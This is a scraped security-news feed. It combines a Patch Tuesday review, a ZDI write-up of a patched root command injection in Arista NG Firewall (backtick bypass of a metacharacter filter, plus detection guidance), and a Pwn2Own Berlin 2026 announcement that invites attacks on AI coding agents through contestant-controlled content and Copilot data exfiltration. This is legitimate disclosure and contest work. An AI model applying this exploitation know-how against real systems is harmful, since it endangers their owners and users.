tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[Google Released Gemini 3.5 Flash Cyber AI, a Specialized AI Model for Vulnerability Hunting]]></title>
<description><![CDATA[Google DeepMind unveiled Gemini 3.5 Flash Cyber, an AI model for vulnerability discovery and patching, available only to governments and trusted partners. Google DeepMind announced Gemini 3.5 Flash Cyber on Tuesday, a security-focused AI model built on top of the existing 3.5 Flash architecture a...]]></description>
<link>https://tsecurity.de/de/3694548/hacking/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694548/hacking/google-released-gemini-35-flash-cyber-ai-a-specialized-ai-model-for-vulnerability-hunting/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:40 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google DeepMind unveiled Gemini 3.5 Flash Cyber, an AI model for vulnerability discovery and patching, available only to governments and trusted partners. Google DeepMind announced Gemini 3.5 Flash Cyber on Tuesday, a security-focused AI model built on top of the existing 3.5 Flash architecture and designed specifically to find, validate, and patch software vulnerabilities. It […]]]></content:encoded>
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<title><![CDATA[CVE-2025-6978: Arbitrary Code Execution in the Arista NG Firewall]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by Gereon Huppertz and reported through the Tre...]]></description>
<link>https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694475/it-security-nachrichten/cve-2025-6978-arbitrary-code-execution-in-the-arista-ng-firewall/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Jonathan Lein and Simon Humbert of the TrendAI Research team detail a recently patched command injection vulnerability in the Arista NG Firewall. This bug was originally discovered by</em> <em>Gereon Huppertz and reported through the TrendAI Zero Day Initiative (ZDI) program. Successful exploitation could result in arbitrary command execution under the security context of the root user. The following is a portion of their write-up covering CVE-2025-6798, with a few minimal modifications.</em></p>





















  
  




  



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  <p class="">A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data in the diagnostics component.</p><p class="">A remote, authenticated attacker could exploit this vulnerability by sending crafted requests to the target server. Successful exploitation could result in arbitrary command execution under the security context of the root user. </p><p class=""><strong>The Vulnerability</strong></p><p class="">Arista NG Firewall is an open-source firewall appliance. It was originally developed under the name Untangle. Some features of Arista Firewall include spam blocking, bandwidth control, and IPS, etc. NG Firewall can be managed through a web user interface, or a JSON-RPC API using HTTP.</p><p class="">HTTP is a request/response protocol described in RFCs 7230 - 7237 and other RFCs. A request is sent by a client to a server, which in turn sends a response back to the client. An HTTP request consists of a request line, various headers, an empty line, and an optional message body</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">where CRLF represents the new line sequence Carriage Return (CR) followed by Line Feed (LF). SP represents a space character. Parameters can be passed from the client to the server as name-value pairs in either the Request-URI, or in the message-body, depending on the Method used and Content-Type header. For example, a simple HTTP request passing a parameter named “param” with value “1”, using the GET method might look like:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">A corresponding HTTP request using the POST method might look like:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If there is more than one parameter/value pair, they are encoded as '&amp;'-delimited name=value pairs:</p>
<p>          <code>var1=value1&amp;var2=value2&amp;var3=value3...</code></p>
<p>The component relevant to this report is the JSON-RPC endpoint. A JSON object has the following syntax:</p>




  <p class="">•            An object is enclosed in curly braces {}.<br>•            An object consists of zero or more items delimited by a comma (",") character.<br>•            An item consists of a key and a value. A key is delimited from its value by a colon (":") character.<br>•            A key must be a string (enclosed in quotes).<br>•            A value must be a valid type. Valid types include string, number, JSON object, array, Boolean, or null.<br>•            An array is an object enclosed in square braces []. An array consists of zero or more string, number, JSON object, array, Boolean or null type-objects delimited by a comma (",") character.</p><p class="">An example JSON object is as follows:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>The following is an example of a JSON-RPC request to the <code>runTroubleshooting()</code> method that is relevant to this report:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>A command injection vulnerability has been reported in Arista NG Firewall. The vulnerability is due to improper validation of user data that is used in a command line. The <code>runTroubleshooting()</code> method of the class <code>NetworkManagerImpl</code> will be used to handle JSON-RPC requests to the <code>runTroubleshooting</code> method. The command parameter passed to the method will be the first element in the <code>params</code> JSON array in the body of the request. This value must be one of the strings in the <code>TroubleshootingCommands enum</code> defined in the <code>NetworkManager</code> class. The second parameter of the method will contain additional arguments passed to the JSON-RPC call.</p>
<p>The method will first iterate through each of the additional arguments and combine each key value pair into a single string, separated by a "=" character that will later be used as an environment variable. Next, a switch case statement is used to ensure the provided command is one of the values in <code>TroubleshootingCommands</code>. Each command value will be processed using the same code. </p>
<p>The method will next iterate through each environment variable, and inspect it for the following common command injection strings:</p>
<p>          <code>; &amp; | &gt; $(</code></p>
<p>If any are found, the request will be rejected, and an exception is thrown. If each environment variable is valid, the method <code>execEvil()</code> is called to create and execute a command line for the network-troubleshooting.sh script, with the environment variables passed as a parameter. The <code>execEvil()</code> method in turn will call <code>Runtime.getRuntime().exec()</code> to run the script, with the second parameter passing the environment variables that will be used by the script. Each command value will have a function in network-troubleshooting.sh, such as <code>run_dns()</code> for the “DNS” command value. Each function will follow a similar structure, by creating a CMD string using the environment variables passed by <code>exec()</code> and then calling eval to execute it.</p>
<p>However, the values of the parameters passed to the <code>runTroubleshooting</code> JSON-RPC method are not completely sanitized before it is used in the command line. While the parameters passed to the endpoint are inspected for some shell metacharacters, the list is incomplete. For example, the backtick character (`) is not included in the check and may be used to inject a command.</p>
<p>For example:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>The example above will write and execute a python script on the server to achieve code execution without using any restricted characters.</p>
<p>A remote, authenticated attacker could exploit this vulnerability by sending a JSON-RPC request to the <code>runTroubleshooting</code> method containing a crafted “HOST” or “URL” parameter containing shell metacharacters not present in the <code>runTroubleshooting()</code> check. Successful exploitation in the worst case will result in arbitrary command execution under the security context of the root user.</p>
<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on the following ports:<br>          -	HTTP, over port 80/TCP<br>          -	HTTPS, over port 443/TCP</p>
<p>Traffic to Arista NG Firewall may be encrypted and must be decrypted prior to applying this guidance. </p>
<p>The detection device must search for HTTP POST requests made to the request-URI <code>/admin/JSON-RPC</code>. If found, the body of the request must be parsed as JSON. The JSON object in the body must be inspected for a <code>method</code> key, and its value must be inspected to contain the substring <code>runTroubleshooting</code>. If found, the object must also be inspected for the JSON key "params", with a value containing a JSON array. The first entry in the JSON array must be inspected for any of the following strings:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If found, the second entry in the array must be inspected for a JSON object, and inspected for any of the following keys:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If either is found, the corresponding value to the key must be inspected for any of the following command injection characters:</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>If found, the traffic should be treated as suspicious; an attack exploiting this vulnerability is likely underway.</p>
<p>The following regular expression can be applied to find malicious requests:</p>
<p>          <code>/\x22(HOST|URL)\x22\s*:\s*\x22(?:[^\x22\\]|\\.)*?[\x60\x27\x24\x3c]/</code></p>
<p>Notes:</p>
<p>•	String matching on the request-URI and all JSON strings should be done in a case sensitive manner.<br>•	The JSON strings may be encoded and must be decoded prior to applying this guidance.<br>•	The request-URI may be URL-encoded and must be decoded before applying this guidance.</p>




  <p class=""><strong>Conclusion</strong></p><p class="">This vulnerability has been addressed by Arista with their <a href="https://www.arista.com/en/support/advisories-notices/security-advisory/22535-security-advisory-0123">Security Advisory 0123</a>. They note that the Arista Edge Threat Management - Arista Next Generation Firewall (Formerly Untangle) is affected by this bug, but other product versions are not. They also state the following mitigation can be applied:</p><p class=""><em>Do not allow non-authorized administrative access or access to the administrative browser.</em></p><p class="">However, the more appropriate action is to apply the provided vendor security patch by upgrading to version 17.4 or higher.</p><p class="">Special thanks to Jonathan Lein and Simon Humbert of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI  Research services, please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
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<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="browser"></a>
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<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="entapps"></a>
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<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="server"></a>
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<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="eop"></a>
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<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="container"></a>
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<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="aidb"></a>
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<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="ailocal"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Local Inference Category</b></p>




  <p class="">We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="nvidia"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The NVIDIA Category</b></p>




  <p class="">Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Conclusion</strong></p><p class="">The complete rules for Pwn2Own Berlin 2026 are found <a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank">here</a>. As always, we <strong>highly</strong> encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Berlin%202026%20Question" target="_blank">email</a> us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.</p><p class="">Be sure to stay tuned to this blog and follow us on <a href="https://www.twitter.com/thezdi" target="_blank">Twitter</a>, <a href="https://infosec.exchange/@thezdi" target="_blank">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative" target="_blank">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social" target="_blank">Bluesky</a> for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.</p><p class="">With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
